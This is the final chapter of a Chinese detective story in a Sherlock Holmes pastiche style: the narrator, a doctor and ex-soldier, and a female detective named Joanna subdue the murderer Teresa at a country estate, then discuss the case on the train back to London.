这时,我听到一声东西破裂的声音。我潜意识地再把身子转回,居然看见了霍金斯警官跟他的部属半跪在地,
手捂着眼睛,痛苦地咳嗽着。

……发生了什么事情了?

目录九意外终焉

泰莉莎又站了起来,嘴角边还有白色的液体。她毫不留情地给我一个踢击,整个脚掌踢在我的小腹上,以迅雷
不及掩耳的速度完成。

很疼。这是我第一个反应。

她纤细的身躯中,隐含着如此强大的力量。怪不得,乔安娜曾提醒我。这次案件的凶手是个力气像头狮子,灵
活得像只松鼠,狡诈如同狐狸的人。

我太大意了。

我看着自己的双腿失去控制,膝盖弯曲,半跪了下来。而泰莉莎利用踢我的反作用力,弹射而出,往餐厅那个
法式落地窗前进。

同时间,我不知道哪里来的力气,我只知道我想要拦住泰莉莎。右手很自然地取出早晨霍金斯警官离去时交给
我的物品,用眼角的余光往乔安娜的方位丢过去。

「乔安娜,接住!」我喊着。

碰!碰!碰!

一连三声枪响。虽然我面朝下,以半跪的姿态,我还是知道发生什么事情。

小腹的疼痛渐渐淡去,这点小伤还不足挂齿,完全比不过当年在战场的情形。

行动能力马上恢复,我站了起来。

此时,泰莉莎被乔安娜的子弹逼退回来。不是我要夸奖乔安娜,论起枪法,她出神入化的射击技巧比受过正规
训练的我还要高超。枪枝在她手中彷佛有了灵魂似的,打出的子弹总是射中最关键地所在。

乔安娜并没有击中泰莉莎,而是用子弹阻却她行进的路线,像是猫要吃掉老鼠前的玩弄。

泰莉莎停步转身,扑向了尤斯汀夫人,似乎是想要挟持她当作人质。乔安娜没有射出子弹,冷漠地看着泰莉莎
的行动。我顿时了解,这是乔安娜要给尤斯汀夫人隐瞒事实的教训。

伸出双手的泰莉莎,面容狰狞,嘴角浮出得逞的笑意;尤斯汀夫人僵硬不动,绝望的表情,充斥她的脸庞。

跨步、格挡。

疯狂与理性两种截然不同的情绪出现在我身上,全身上下的细胞热血沸腾,像是再度回到战场一般。我插入到
两个人之间,用手背档开泰莉莎的双手。

我想应该没有人,可以比我这个医生还要了解人体的构造。

医者,杀人救人,一念之间。

瞬间,泰莉莎的双手被我卸掉关节,一个膝击踢在他的横隔膜上,便失去战斗力地倾倒。我右手五指合并,对
毫无抵抗的她要做出最后一击。

杀意,爆发!

「杰昂!」乔安娜一手搭在我的肩膀上,柔情似水地说:「住手。」接下来,应该就不用叙述了……在霍金斯
警官恢复后,他便接手后续的事务处理。

尤斯汀庄园案件,也到此告一个段落。

原本,我还想纪录后续的状况,想要了解有关尤斯汀夫人与泰莉莎的事情。

??不过,这个农庄对解迷完成的乔安娜,已经无任何吸引力。她一脸懒洋洋,要求着赶快离开。

我们坐着回伦敦的火车,在车厢里。我问乔安娜说:「乔安娜,我有好几个问题想问你。」「你问啊。但我要
看心情才决定要不要回答。」乔安娜的语气有些疲倦。也难怪,她今天辛苦的一整天,除了破案,还有性爱。

「你什么时候就知道泰莉莎是凶手?」我长驱直入地问。

「打从一开始啊……」乔安娜鄙视地看着我,「我第一眼看见泰莉莎,就知道她是个处子。相信我,这就跟打
喷嚏一样,想瞒都瞒不住。如此艳丽的泰莉莎,尤斯汀爵居然没有动她,我不相信。就如同你不是处男一样,因为
我根本就忍不住不去吃掉你,咯咯。」一时间,我觉得我问错了问题。乔安娜奇怪的逻辑思考,可不是一般常人能
够理解的。哪有人从是不是处子,来判断这个人有问题啊!

我决定,放弃这个问题,来问我第二个疑问:「……那,你怎么知道她是假装服毒自尽呢?」「女人的直觉。
嗯,没错。」乔安娜耸肩说。

这答案烂透了。

她继续补充说:「开玩笑的,杰昂,你可别当真。」我还真的相信了……

「既然尤斯汀爵没有动她,想必她一定有与尤斯汀爵平等对谈的筹码。我不清楚,也不想知道。反正没几天,
霍金斯那家伙就会跑过来跟我们炫燿的,你放心好了。」乔安娜毫不在意地说,「而且,你别忘记她在庄园里的身
分是女仆。

你想想,一个尤斯汀爵不敢动的女人,居然担任女仆。由此可见,她是个极会忍耐的女人。这样的女人,怎么
可能会自杀呢?」「所以,你才会在我靠近的时候叫我。」

「对啊……」乔安娜忽然笑起来,「咯咯,看到霍金斯中陷阱时候的模样,快把我给笑死了。谁叫他要半夜三
点半把我给挖起来,哼哼。」这女人还在记仇啊?我的上帝啊!

不过,说起陷阱,仅是辣椒粉混杂着胡椒粉。泰莉莎捏破瓶罐,洒向半空中。

没想到,阻却效果十足。

「……你知道,泰莉莎为什么要杀尤斯汀爵呢?」「不知道。」她肯定。

「不知道?」我疑惑。

「不管什么原因,她就是杀了尤斯汀爵。」乔安娜凝视着我,反问说:「你不是也想杀她,有原因吗?」「这
个……」我无言。

要杀掉泰莉莎,纯粹是我自己的本能反应。说到底,我也没有任何杀她的理由。

「杰昂!」乔安娜喊了我一声,把我从思考中给唤醒。「别杀人,也别被杀了,知道吗?」「我尽力……」

唉……人是离开了战场没错,但是我心似乎还留在那里……「还有其他问题吗?」

「嗯……」我摇头「……没有了。」

「那我想先睡一下……」乔安娜满脸困意地说,「……等会儿回到贝克街。我想先大吃一顿,然后做爱,接着
洗澡,再做爱,才睡觉。杰昂,你也趁现在休息一下吧,回去之后还要忙喔,咯咯。」我满脸黑线地说:「不是吧?」

【完】